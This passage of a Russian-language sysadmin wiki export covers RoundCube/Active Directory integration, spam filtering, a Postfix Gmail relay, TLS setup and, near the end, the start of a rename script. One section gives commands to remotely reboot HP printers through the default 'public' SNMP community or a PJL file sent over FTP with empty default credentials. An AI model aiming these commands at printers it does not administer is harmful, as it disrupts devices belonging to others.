    &amp;#039;base_dn&amp;#039;       =&amp;gt; &amp;#039;cn=users,dc=your_domain,dc=name&amp;#039;,
    &amp;#039;bind_dn&amp;#039;       =&amp;gt; &amp;#039;vmail&amp;#039;,
    &amp;#039;bind_pass&amp;#039;     =&amp;gt; &amp;#039;vmail_AD_password&amp;#039;,
    &amp;#039;hidden&amp;#039;        =&amp;gt; false,
    &amp;#039;searchonly&amp;#039;    =&amp;gt; false,
    &amp;#039;writable&amp;#039;      =&amp;gt; false,

    &amp;#039;search_fields&amp;#039; =&amp;gt; array(&amp;#039;mail&amp;#039;, &amp;#039;cn&amp;#039;, &amp;#039;sAMAccountName&amp;#039;, &amp;#039;displayname&amp;#039;, &amp;#039;sn&amp;#039;, &amp;#039;givenName&amp;#039;),

    // mapping of contact fields to directory attributes
    &amp;#039;fieldmap&amp;#039; =&amp;gt; array(
        &amp;#039;name&amp;#039;        =&amp;gt; &amp;#039;cn&amp;#039;,
        &amp;#039;surname&amp;#039;     =&amp;gt; &amp;#039;sn&amp;#039;,
        &amp;#039;firstname&amp;#039;   =&amp;gt; &amp;#039;givenName&amp;#039;,
        &amp;#039;title&amp;#039;       =&amp;gt; &amp;#039;title&amp;#039;,
        &amp;#039;email&amp;#039;       =&amp;gt; &amp;#039;mail:*&amp;#039;,
        &amp;#039;phone:work&amp;#039;  =&amp;gt; &amp;#039;telephoneNumber&amp;#039;,
        &amp;#039;phone:mobile&amp;#039; =&amp;gt; &amp;#039;mobile&amp;#039;,
        &amp;#039;street&amp;#039;      =&amp;gt; &amp;#039;street&amp;#039;,
        &amp;#039;zipcode&amp;#039;     =&amp;gt; &amp;#039;postalCode&amp;#039;,
        &amp;#039;locality&amp;#039;    =&amp;gt; &amp;#039;l&amp;#039;,
        &amp;#039;department&amp;#039;  =&amp;gt; &amp;#039;departmentNumber&amp;#039;,
        &amp;#039;notes&amp;#039;       =&amp;gt; &amp;#039;description&amp;#039;,
        &amp;#039;phone:workfax&amp;#039; =&amp;gt; &amp;#039;facsimileTelephoneNumber&amp;#039;,
        &amp;#039;photo&amp;#039;       =&amp;gt; &amp;#039;jpegPhoto&amp;#039;,
    ),
    &amp;#039;sort&amp;#039;          =&amp;gt; &amp;#039;cn&amp;#039;,
    &amp;#039;scope&amp;#039;         =&amp;gt; &amp;#039;sub&amp;#039;,
    &amp;#039;filter&amp;#039;        =&amp;gt;  &amp;#039;(&amp;amp;(objectclass=person)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))&amp;#039;,
    &amp;#039;fuzzy_search&amp;#039;  =&amp;gt; true,
    &amp;#039;vlv&amp;#039;           =&amp;gt; false,   // Enable Virtual List View to more efficiently fetch paginated data (if server supports it)
    &amp;#039;sizelimit&amp;#039;     =&amp;gt; &amp;#039;0&amp;#039;,     // Enables you to limit the count of entries fetched. Setting this to 0 means no limit.
    &amp;#039;timelimit&amp;#039;     =&amp;gt; &amp;#039;0&amp;#039;,     // Sets the number of seconds how long is spend on the search. Setting this to 0 means no limit.
    &amp;#039;referrals&amp;#039;     =&amp;gt; false,  // Sets the LDAP_OPT_REFERRALS option. Mostly used in multi-domain Active Directory setups

    &amp;#039;group_filters&amp;#039; =&amp;gt; array(
        &amp;#039;departments&amp;#039; =&amp;gt; array(
            &amp;#039;name&amp;#039;    =&amp;gt; &amp;#039;Mailing Lists&amp;#039;,
            &amp;#039;scope&amp;#039;   =&amp;gt; &amp;#039;sub&amp;#039;,
            &amp;#039;base_dn&amp;#039; =&amp;gt; &amp;#039;cn=users,dc=domain,dc=name&amp;#039;,
            &amp;#039;filter&amp;#039;  =&amp;gt; &amp;#039;(objectClass=group)&amp;#039;,
            &amp;#039;name_attr&amp;#039; =&amp;gt; &amp;#039;cn&amp;#039;,
            &amp;#039;email&amp;#039;     =&amp;gt; &amp;#039;mail&amp;#039;,
        ),
    ),
);
$config[&amp;#039;autocomplete_addressbooks&amp;#039;] = array(&amp;#039;sql&amp;#039;, &amp;#039;global_ldap_abook&amp;#039;);&lt;/pre&gt;

&lt;p&gt;
Еще надо отредактировать &lt;strong&gt;/opt/www/roundcubemail/config/defaults.inc.php&lt;/strong&gt;.
Тут поправить два параметра:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$config[&amp;#039;username_domain&amp;#039;] = &amp;#039;your.domain.name&amp;#039;;

$config[&amp;#039;mail_domain&amp;#039;] = &amp;#039;your.domain.name&amp;#039;;&lt;/pre&gt;

&lt;p&gt;
Если не поправлять, то в веб-интерфейсе почта юзверя буде выглядеть как &lt;strong&gt;username@127.0.0.1&lt;/strong&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0418\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u044f RoundCube \u0432 AD&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u044f_roundcube_\u0432_ad&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:18,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;12075-15170&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit8&quot; id=&quot;добавляем_мобильный_скин_в_roundcube&quot;&gt;Добавляем мобильный скин в RoundCube&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;cd ~
mkdir ./roundcube-mobile
cd ./roundcube-mobile/
wget -O Roundcube-Plugin-Mobile.zip https://github.com/messagerie-melanie2/Roundcube-Plugin-Mobile/archive/master.zip
wget -O Roundcube-Skin-Melanie2-Larry-Mobile.zip https://github.com/messagerie-melanie2/Roundcube-Skin-Melanie2-Larry-Mobile/archive/master.zip
wget -O Roundcube-Plugin-JQuery-Mobile.zip https://github.com/messagerie-melanie2/Roundcube-Plugin-JQuery-Mobile/archive/master.zip

unzip ./Roundcube-Plugin-JQuery-Mobile.zip
unzip ./Roundcube-Plugin-Mobile.zip
unzip ./Roundcube-Skin-Melanie2-Larry-Mobile.zip

sudo mkdir -p /opt/www/roundcubemail/skins
sudo mkdir -p /opt/www/roundcubemail/plugins

sudo mv ./Roundcube-Plugin-JQuery-Mobile-master /opt/www/roundcubemail/plugins/jquery_mobile
sudo mv ./Roundcube-Plugin-Mobile-master /opt/www/roundcubemail/plugins/mobile
sudo mv ./Roundcube-Skin-Melanie2-Larry-Mobile-master /opt/www/roundcubemail/skins/melanie2_larry_mobile&lt;/pre&gt;

&lt;p&gt;
Теперь отредактируем файлик &lt;strong&gt;config.inc.php&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo nano /opt/www/roundcubemail/config/config.inc.php&lt;/pre&gt;

&lt;p&gt;
и изменим содержимое строки &lt;strong&gt;config[&amp;#039;plugins&amp;#039;]&lt;/strong&gt;, добавив туда &lt;strong&gt;mobile&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$config[&amp;#039;plugins&amp;#039;] = array(&amp;#039;managesieve&amp;#039;, &amp;#039;password&amp;#039;,&amp;#039;mobile&amp;#039;);&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0414\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0439 \u0441\u043a\u0438\u043d \u0432 RoundCube&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c_\u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0439_\u0441\u043a\u0438\u043d_\u0432_roundcube&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:20,&amp;quot;secid&amp;quot;:8,&amp;quot;range&amp;quot;:&amp;quot;15171-16506&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit9&quot; id=&quot;настройка_виртуальных_почтовых_ящиков&quot;&gt;Настройка виртуальных почтовых ящиков&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
Иногда нужно, чтобы у пользователя было два почтовых ящика. это называется &lt;strong&gt;virtual mailbox&lt;/strong&gt;.
&lt;/p&gt;

&lt;p&gt;
Как делать virtual mailbox средствами postfix описано тут:
[&lt;a href=&quot;http://www.postfix.org/VIRTUAL_README.html#virtual_alias]&quot; class=&quot;urlextern&quot; title=&quot;http://www.postfix.org/VIRTUAL_README.html#virtual_alias]&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.postfix.org/VIRTUAL_README.html#virtual_alias]&lt;/a&gt;. 
&lt;/p&gt;

&lt;p&gt;
Но администрировать это несколько неудобно. 
&lt;/p&gt;

&lt;p&gt;
Можно это сделать на базе AD. 
&lt;/p&gt;

&lt;p&gt;
Создается группа, в пределах OU, прописанного в конфигурации &lt;strong&gt;iRedMail&lt;/strong&gt; - в этом гайдике это &lt;strong&gt;cn=Users,dn=domain,dn=name&lt;/strong&gt;. Этой группе прописывается e-mail и пользователя, которому нужен этот второй e-mail добавляем в эту группу. Все. Письмо приходит на группу и отправляется всем пользователям в этой группе прописанным.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0445 \u044f\u0449\u0438\u043a\u043e\u0432&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_\u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445_\u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0445_\u044f\u0449\u0438\u043a\u043e\u0432&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:21,&amp;quot;secid&amp;quot;:9,&amp;quot;range&amp;quot;:&amp;quot;16507-17582&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit10&quot; id=&quot;включаем_спаморезку_и_проверку_антивирусом&quot;&gt;Включаем спаморезку и проверку антивирусом&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt install amavisd-new spamassassin clamav-daemon
sudo apt install opendkim postfix-policyd-spf-python
sudo apt install pyzor razor
sudo apt install arj cabextract cpio lhasa nomarch pax rar unrar unzip zip
sudo adduser clamav amavis
sudo adduser amavis clamav&lt;/pre&gt;

&lt;p&gt;
По-умолчанию, спаморезка и антивирус выключены. 
Для начала нужно включить &lt;strong&gt;spamassasin&lt;/strong&gt; - в файлике &lt;strong&gt;/etc/default/spamassassin&lt;/strong&gt; выставить:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt; ENABLED=1&lt;/pre&gt;

&lt;p&gt;
И выполнить:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo systemctl start spamassassin.service&lt;/pre&gt;

&lt;p&gt;
Потом нужно отредактировать файлик  &lt;strong&gt;/etc/amavis/conf.d/15-content_filter_mode&lt;/strong&gt;.
Там написано что нужно сделать.
&lt;/p&gt;

&lt;p&gt;
Если у вас некоторый спам фильтруется, а некоторый проскакивает, то, возможно, нужно просто скорректировать пороговый &lt;strong&gt;spam level&lt;/strong&gt;.
Это можно сделать в файле &lt;strong&gt;/etc/amavis/conf.d/20-debian_defaults&lt;/strong&gt;.
Там есть группа параметров &lt;strong&gt;$sa_&lt;/strong&gt;.
Нужно уменьшить &lt;strong&gt;sa_kill_level_deflt&lt;/strong&gt;. По умолчанию он 6.31. Я ставлю 4.0.
&lt;/p&gt;

&lt;p&gt;
Чтобы спам удалялся нужно отредактировать файлик &lt;strong&gt;/etc/amavis/conf.d/20-debian_defaults&lt;/strong&gt;. В нем найти параметр &lt;strong&gt;$final_spam_destiny&lt;/strong&gt; и заменить его заначение на: &lt;strong&gt;$final_spam_destiny = D_DISCARD;&lt;/strong&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0412\u043a\u043b\u044e\u0447\u0430\u0435\u043c \u0441\u043f\u0430\u043c\u043e\u0440\u0435\u0437\u043a\u0443 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043e\u043c&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0432\u043a\u043b\u044e\u0447\u0430\u0435\u043c_\u0441\u043f\u0430\u043c\u043e\u0440\u0435\u0437\u043a\u0443_\u0438_\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443_\u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043e\u043c&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:21,&amp;quot;secid&amp;quot;:10,&amp;quot;range&amp;quot;:&amp;quot;17583-19210&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit11&quot; id=&quot;отправка_почты_через_smtp_gmail&quot;&gt;Отправка почты через SMTP Gmail&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
Ставим запчасти: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;apt-get install mailutils libsasl2-2 ca-certificates libsasl2-modules&lt;/pre&gt;

&lt;p&gt;
В файл &lt;strong&gt;/etc/postfix/main.cf&lt;/strong&gt; нужно добавить:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;relayhost = [smtp.gmail.com]:587
smtp_sasl_auth_enable = yes
smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd
smtp_sasl_security_options = noanonymous
smtp_tls_CAfile = /etc/postfix/cacert.pem
smtp_use_tls = yes&lt;/pre&gt;

&lt;p&gt;
Создать и положить на место самоподписанный сертификат:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;openssl req -new &amp;gt; new.ssl.csr
openssl rsa -in privkey.pem -out new.cert.key
openssl x509 -in new.ssl.csr -out new.cert.cert -req -signkey new.cert.key -days 9999
cp ./new.cert.cert /etc/postfix/cacert.pem &amp;amp;&amp;amp; cp ./new.cert.key /etc/postfix/cacert.key&lt;/pre&gt;

&lt;p&gt;
Создать файл &lt;strong&gt;/etc/postfix/sasl_passwd&lt;/strong&gt; с паролем для &lt;strong&gt;Gmail&lt;/strong&gt; с таким содержимым:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[smtp.gmail.com]:587    USERNAME@gmail.com:PASSWORD&lt;/pre&gt;

&lt;p&gt;
Изменить права на него:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;chmod 400 /etc/postfix/sasl_passwd
postmap /etc/postfix/sasl_passwd&lt;/pre&gt;

&lt;p&gt;
Применяем параметры и проверяем что получилось. Вместо &lt;strong&gt;you@example.com&lt;/strong&gt; указываем почту куда уйдет тестовое сообщение:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo /etc/init.d/postfix reload
echo &amp;quot;Test mail from postfix&amp;quot; | mail -s &amp;quot;Test Postfix&amp;quot; you@example.com&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u043f\u043e\u0447\u0442\u044b \u0447\u0435\u0440\u0435\u0437 SMTP Gmail&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0430_\u043f\u043e\u0447\u0442\u044b_\u0447\u0435\u0440\u0435\u0437_smtp_gmail&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:21,&amp;quot;secid&amp;quot;:11,&amp;quot;range&amp;quot;:&amp;quot;19211-20646&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit12&quot; id=&quot;etcpostfixmaincf&quot;&gt;/etc/postfix/main.cf&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
Вот пример файла &lt;strong&gt;/etc/postfix/main.cf&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;# See /usr/share/postfix/main.cf.dist for a commented, more complete version
# Debian specific:  Specifying a file name will cause the first
# line of that file to be used as the name.  The Debian default
# is /etc/mailname.
#myorigin = /etc/mailname

smtpd_banner = $myhostname ESMTP $mail_name (Ubuntu)
biff = no

# appending .domain is the MUA&amp;#039;s job.
append_dot_mydomain = no

# Uncomment the next line to generate &amp;quot;delayed mail&amp;quot; warnings
#delay_warning_time = 4h

readme_directory = no

myhostname = mail.autosys.tk
alias_maps = hash:/etc/postfix/aliases
alias_database = hash:/etc/postfix/aliases
myorigin = mail.autosys.tk
mydestination = $myhostname, localhost, localhost.localdomain

relayhost = [smtp.gmail.com]:587
smtp_sasl_auth_enable = yes
smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd
smtp_sasl_security_options = noanonymous
smtp_tls_CAfile = /etc/postfix/cacert.pem
smtp_use_tls = yes


mynetworks = 127.0.0.1, 192.168.77.0/24
mailbox_size_limit = 0
recipient_delimiter = +
inet_interfaces = all
#inet_protocols = all
inet_protocols = ipv4
virtual_alias_domains =
mydomain = mail.autosys.tk
allow_percent_hack = no
swap_bangpath = no
mynetworks_style = host

########################################################
##SMTPD Restricrions
########################################################
smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destination
smtpd_data_restrictions = reject_unauth_pipelining
smtpd_reject_unlisted_recipient = yes
smtpd_reject_unlisted_sender = yes
smtpd_sender_restrictions = reject_unknown_sender_domain, reject_non_fqdn_sender, reject_unlisted_sender, permit_mynetworks, reject_sender_login_mismatch, permit_sasl_authenticated
delay_warning_time = 0h
maximal_queue_lifetime = 4h
bounce_queue_lifetime = 4h
proxy_read_maps = $canonical_maps $lmtp_generic_maps $local_recipient_maps $mydestination $mynetworks $recipient_bcc_maps $recipient_canonical_maps $relay_domains $relay_recipient_maps $relocated_maps $sender_bcc_maps $sender_canonical_maps $smtp_generic_maps $smtpd_sender_login_maps $transport_maps $virtual_alias_domains $virtual_alias_maps $virtual_mailbox_domains $virtual_mailbox_maps $smtpd_sender_restrictions
smtp_data_init_timeout = 240s
smtp_data_xfer_timeout = 600s
smtpd_helo_required = yes
smtpd_helo_restrictions = permit_mynetworks, permit_sasl_authenticated, reject_non_fqdn_helo_hostname, reject_invalid_helo_hostname, check_helo_access pcre:/etc/postfix/helo_access.pcre
queue_run_delay = 300s
minimal_backoff_time = 300s
maximal_backoff_time = 4000s
enable_original_recipient = no
disable_vrfy_command = yes
home_mailbox = Maildir/
allow_min_user = no
message_size_limit = 15728640
virtual_minimum_uid = 2000
virtual_uid_maps = static:2000
virtual_gid_maps = static:2000
virtual_mailbox_base = /var/vmail
transport_maps = hash:/etc/postfix/transport
virtual_alias_maps = proxy:ldap:/etc/postfix/ad_virtual_group_maps.cf
virtual_mailbox_domains = autosys.tk

virtual_mailbox_maps = proxy:ldap:/etc/postfix/ad_virtual_mailbox_maps.cf

sender_bcc_maps =
recipient_bcc_maps =
relay_domains =
smtpd_sender_login_maps = proxy:ldap:/etc/postfix/ad_sender_login_maps.cf
smtpd_sasl_auth_enable = yes
smtpd_sasl_local_domain = autosys.tk
broken_sasl_auth_clients = yes
smtpd_sasl_security_options = noanonymous
smtpd_recipient_restrictions = reject_unknown_recipient_domain, reject_non_fqdn_recipient, reject_unlisted_recipient, permit_mynetworks, permit_sasl_authenticated, reject_unauth_destination
smtpd_end_of_data_restrictions =  check_policy_service inet:127.0.0.1:10031
tls_random_source = dev:/dev/urandom
mailbox_command = /usr/lib/dovecot/deliver
virtual_transport = dovecot
dovecot_destination_recipient_limit = 1
smtpd_sasl_type = dovecot
smtpd_sasl_path = private/dovecot-auth
content_filter = smtp-amavis:[127.0.0.1]:10024
smtp-amavis_destination_recipient_limit = 1
relay_recipient_maps =

#######################################################
# SSL/TLS parameters
#######################################################
smtpd_tls_cert_file = /etc/ssl/certs/iRedMail.crt
smtpd_tls_key_file = /etc/ssl/private/iRedMail.key
smtpd_use_tls=yes
smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache
smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache

smtpd_tls_protocols = !SSLv2 !SSLv3
smtp_tls_protocols = !SSLv2 !SSLv3
lmtp_tls_protocols = !SSLv2 !SSLv3
smtpd_tls_mandatory_protocols = !SSLv2 !SSLv3
smtp_tls_mandatory_protocols = !SSLv2 !SSLv3
lmtp_tls_mandatory_protocols = !SSLv2 !SSLv3
smtpd_tls_mandatory_exclude_ciphers = aNULL, eNULL, EXPORT, DES, RC4, MD5, PSK, aECDH, EDH-DSS-DES-CBC3-SHA, EDH-RSA-DES-CDC3-SHA, KRB5-DE5, CBC3-SHA
smtpd_tls_dh1024_param_file = /etc/ssl/dhparams.pem
smtp_tls_security_level = may
#smtp_tls_CAfile = $smtpd_tls_CAfile
smtp_tls_loglevel = 0
smtp_tls_note_starttls_offer = yes

smtpd_tls_security_level = may
smtpd_tls_loglevel = 0
smtpd_tls_CAfile = /etc/ssl/certs/iRedMail.crt

smtpd_tls_auth_only = yes

# See /usr/share/doc/postfix/TLS_README.gz in the postfix-doc package for
# information on enabling SSL in the smtp client.&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\/etc\/postfix\/main.cf&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;etcpostfixmaincf&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:22,&amp;quot;secid&amp;quot;:12,&amp;quot;range&amp;quot;:&amp;quot;20647-25881&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit13&quot; id=&quot;настройка_postfix_для_работы_с_ssl_сертификатом_let_s_encrypt&quot;&gt;Настройка postfix для работы с SSL сертификатом let&amp;#039;s encrypt&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
&lt;strong&gt;/etc/dovecot/dovecot.conf&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ssl = required
disable_plaintext_auth = yes
ssl_cert = &amp;lt;/etc/letsencrypt/live/njoror.squashedfly.eu/fullchain.pem
ssl_key = &amp;lt;/etc/letsencrypt/live/njoror.squashedfly.eu/privkey.pem&lt;/pre&gt;

&lt;p&gt;
Тут важно обратить внимание на символы &lt;strong&gt;&amp;lt;&lt;/strong&gt; перед путями к сертификату и ключу.
&lt;/p&gt;

&lt;p&gt;
&lt;strong&gt;/etc/postfix/main.cf&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;smtpd_use_tls = yes
smtp_use_tls = yes
smtp_tls_security_level = may
smtpd_tls_security_level = may
smtpd_tls_ciphers = high
smtpd_sasl_type = dovecot
smtpd_sasl_path = private/auth
smtpd_sasl_auth_enable = yes
smtpd_tls_loglevel = 1
smtpd_tls_protocols = !SSLv2, !SSLv3
smtpd_tls_cert_file=/etc/letsencrypt/live/njoror.squashedfly.eu/fullchain.pem
smtpd_tls_key_file=/etc/letsencrypt/live/njoror.squashedfly.eu/privkey.pem
smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache
smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache&lt;/pre&gt;

&lt;p&gt;
Затем выполняем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;/etc/init.d/postfix reload&lt;/pre&gt;

&lt;p&gt;
Если в файлике конфигурации есть повторяющиеся строки - убираем ненужное.&lt;br/&gt;

Для того, чтобы убедиться, что все корректно стратует - перезагружаемся. &lt;br/&gt;

После этого можно проверить, что наш сервер корректно предоставляет сертификат при подключении SSL.&lt;br/&gt;

Подключения &lt;strong&gt;IMAP&lt;/strong&gt; через SSL проверяем так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;openssl s_client -showcerts -connect mail.example.com:993&lt;/pre&gt;

&lt;p&gt;
Сервер должен ответить сертификатом.&lt;br/&gt;

Подключения &lt;strong&gt;POP3&lt;/strong&gt; через SSL проверяем так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;openssl s_client -showcerts -connect mail.example.com:995&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 postfix \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 SSL \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u043c let&amp;#039;s encrypt&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_postfix_\u0434\u043b\u044f_\u0440\u0430\u0431\u043e\u0442\u044b_\u0441_ssl_\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u043c_let_s_encrypt&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:23,&amp;quot;secid&amp;quot;:13,&amp;quot;range&amp;quot;:&amp;quot;25882-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>remote_reboot_hp_printer</title>
            <link>https://wiki.autosys.tk/linux_faq/remote_reboot_hp_printer</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;remote_reboot_via_snmp&quot;&gt;Remote Reboot via SNMP&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Способ перезагрузки через &lt;strong&gt;snmp&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install snmp
snmpset -v1 -c public x.x.x.x .1.3.6.1.2.1.43.5.1.1.3.1 integer 4&lt;/pre&gt;

&lt;p&gt;
Точно работает с устройствами семейств &lt;strong&gt;HP MFP 400&lt;/strong&gt; и &lt;strong&gt;HP MFP 521&lt;/strong&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Remote Reboot via SNMP&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;remote_reboot_via_snmp&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-298&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit2&quot; id=&quot;remote_reboot_via_ftp&quot;&gt;Remote Reboot via FTP&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Для перезагрузки через &lt;abbr title=&quot;File Transfer Protocol&quot;&gt;FTP&lt;/abbr&gt; нужно создать файлик &lt;strong&gt;reboot.txt&lt;/strong&gt; с таким содержимым:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;%-12345X@PJL COMMENT
@PJL DMINFO ASCIIHEX=&amp;quot;040006020501010301040105&amp;quot;
%-12345X&lt;/pre&gt;

&lt;p&gt;
Либо для более новых принтеров (проверено на HP 1320) с таким:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;%-12345X@PJL COMMENT Print PCL Font List
@PJL DMINFO ASCIIHEX = &amp;quot;040004010105020402015E&amp;quot;
%-12345X&lt;/pre&gt;

&lt;p&gt;
Затем этот файлик нужно закинуть на принтер. В Windows для этого в командной стироке выполняем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ftp x.x.x.x&lt;/pre&gt;

&lt;p&gt;
После подключенния принтер спросит имя пользователя и пароль. По-умолчанию - пустые.
После успешной аутентификации кладем файлик на принтер:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;put x:\pathtofile\reboot.txt&lt;/pre&gt;

&lt;p&gt;
Принтер должен перезагрузиться.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Remote Reboot via FTP&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;remote_reboot_via_ftp&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;299-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>rename_files_with_spaces</title>
            <link>https://wiki.autosys.tk/linux_faq/rename_files_with_spaces</link>
            <description>&lt;pre class=&quot;code&quot;&gt;   #! /bin/bash
    # blank-rename.sh
    #
    # Заменяет пробелы символом подчеркивания в именах файлов в текущем каталоге.
    ONE=1                     # единственное или множественное число (см. ниже).
    number=0                  # Количество переименованных файлов.
    FOUND=0                   # Код завершения в случае успеха.
    for filename in *         # Перебор всех файлов в текущем каталоге.
    do
         echo &amp;quot;$filename&amp;quot; | grep -q &amp;quot; &amp;quot;         #  Проверить — содержит ли имя файла
